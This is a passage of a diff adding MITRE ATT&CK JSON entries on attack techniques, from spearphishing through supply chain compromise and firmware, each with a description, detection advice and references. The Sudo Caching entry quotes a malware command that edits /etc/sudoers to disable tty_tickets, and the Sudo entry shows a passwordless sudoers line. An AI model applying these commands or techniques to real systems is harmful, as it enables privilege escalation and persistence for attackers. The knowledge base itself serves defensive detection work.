"source_name": "capec", + "external_id": "CAPEC-163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Network intrusion detection system", + "Detonation chamber", + "Email gateway", + "Mail server" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "name": "Spearphishing Attachment", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1192", + "source_name": "mitre-attack", + "external_id": "T1192" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "source_name": "capec", + "external_id": "CAPEC-163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Web proxy", + "Email gateway", + "Detonation chamber", + "SSL/TLS inspection", + "DNS records", + "Mail server" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "name": "Spearphishing Link", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons)." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1194", + "source_name": "mitre-attack", + "external_id": "T1194" + }, + { + "url": "https://capec.mitre.org/data/definitions/163.html", + "source_name": "capec", + "external_id": "CAPEC-163" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "SSL/TLS inspection", + "Anti-virus", + "Web proxy" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847", + "name": "Spearphishing via Service", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1071", + "source_name": "mitre-attack", + "external_id": "T1071" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "name": "Standard Application Layer Protocol", + "created": "2017-05-31T21:30:56.776Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1032", + "source_name": "mitre-attack", + "external_id": "T1032" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "source_name": "SANS Decrypting SSL", + "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016." + }, + { + "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html", + "source_name": "SEI SSL Inspection Risks", + "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016." + }, + { + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf", + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016." + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks)\n\nIf malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Malware reverse engineering", + "Process use of network", + "Process monitoring", + "SSL/TLS inspection" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "name": "Standard Cryptographic Protocol", + "created": "2017-05-31T21:30:35.334Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1095", + "source_name": "mitre-attack", + "external_id": "T1095" + }, + { + "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29", + "source_name": "Wikipedia OSI", + "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014." + }, + { + "url": "http://support.microsoft.com/KB/170292", + "source_name": "Microsoft ICMP", + "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014." + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "name": "Standard Non-Application Layer Protocol", + "created": "2017-05-31T21:31:10.728Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1165", + "source_name": "mitre-attack", + "external_id": "T1165" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "name": "Startup Items", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", + "x_mitre_effective_permissions": [ + "root" + ], + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "external_id": "T1492", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1492" + }, + { + "url": "https://content.fireeye.com/apt/rpt-apt38", + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018." + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Application logs", + "File monitoring" + ], + "modified": "2019-04-26T19:23:41.402Z", + "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92", + "name": "Stored Data Manipulation", + "created": "2019-04-09T11:51:30.942Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1169", + "source_name": "mitre-attack", + "external_id": "T1169" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "name": "Sudo", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.", + "x_mitre_effective_permissions": [ + "root" + ], + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1206", + "source_name": "mitre-attack", + "external_id": "T1206" + }, + { + "url": "https://www.sudo.ws/", + "source_name": "sudo man page 2018", + "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018." + }, + { + "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", + "source_name": "cybereason osx proton", + "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", + "name": "Sudo Caching", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nAdversaries can abuse poor configurations of this to escalate privileges without needing the user's password. /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. When tty_tickets is disabled, adversaries can do this from any tty for that user. \n\nThe OSX Proton Malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the Proton malware also must issue killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "x_mitre_effective_permissions": [ + "root" + ], + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1195", + "source_name": "mitre-attack", + "external_id": "T1195" + }, + { + "external_id": "CAPEC-437", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/437.html" + }, + { + "external_id": "CAPEC-438", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/438.html" + }, + { + "external_id": "CAPEC-439", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/439.html" + }, + { + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities", + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018." + }, + { + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/07/behavior-monitoring-combined-with-machine-learning-spoils-a-massive-dofoil-coin-mining-campaign/", + "source_name": "Microsoft Dofoil 2018", + "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018." + }, + { + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf", + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018." + }, + { + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018." + }, + { + "url": "https://www.trendmicro.com/vinfo/dk/security/news/cybercrime-and-digital-threats/hacker-infects-node-js-package-to-steal-from-bitcoin-wallets", + "source_name": "Trendmicro NPM Compromise", + "description": "Trendmicro. (2018, November 29). Hacker Infects Node.js Package to Steal from Bitcoin Wallets. Retrieved April 10, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Veeral Patel" + ], + "x_mitre_data_sources": [ + "Web proxy", + "File monitoring" + ], + "modified": "2019-04-10T19:53:02.522Z", + "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. Perform physical inspection of hardware to look for potential tampering.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "name": "Supply Chain Compromise", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. \n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)\n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)" + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1019", + "source_name": "mitre-attack", + "external_id": "T1019" + }, + { + "url": "https://capec.mitre.org/data/definitions/532.html", + "source_name": "capec", + "external_id": "CAPEC-532" + }, + { + "url": "https://en.wikipedia.org/wiki/BIOS", + "source_name": "Wikipedia BIOS", + "description": "Wikipedia. (n.d.). BIOS. Retrieved January 5, 2016." + }, + { + "url": "http://www.uefi.org/about", + "source_name": "About UEFI", + "description": "UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016." + }, + { + "url": "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", + "source_name": "MITRE Trustworthy Firmware Measurement", + "description": "Upham, K. (2014, March). Going Deep into the BIOS with MITRE Firmware Security Research. Retrieved January 5, 2016." + }, + { + "url": "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", + "source_name": "MITRE Copernicus", + "description": "Butterworth, J. (2013, July 30). Copernicus: Question Your Assumptions about BIOS Security. Retrieved December 11, 2015." + }, + { + "url": "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", + "source_name": "McAfee CHIPSEC Blog", + "description": "Beek, C., Samani, R. (2017, March 8). CHIPSEC Support Against Vault 7 Disclosure Scanning. Retrieved March 13, 2017." + }, + { + "url": "https://github.com/chipsec/chipsec", + "source_name": "Github CHIPSEC", + "description": "Intel. (2017, March 18). CHIPSEC Platform Security Assessment Framework. Retrieved March 20, 2017." + }, + { + "url": "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", + "source_name": "Intel HackingTeam UEFI Rootkit", + "description": "Intel Security. (2005, July 16). HackingTeam's UEFI Rootkit Details. Retrieved March 20, 2017." + }, + { + "url": "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface", + "source_name": "Wikipedia UEFI", + "description": "Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ryan Becwar", + "McAfee" + ], + "x_mitre_data_sources": [ + "API monitoring", + "BIOS", + "EFI" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "name": "System Firmware", + "created": "2017-05-31T21:30:28.613Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be 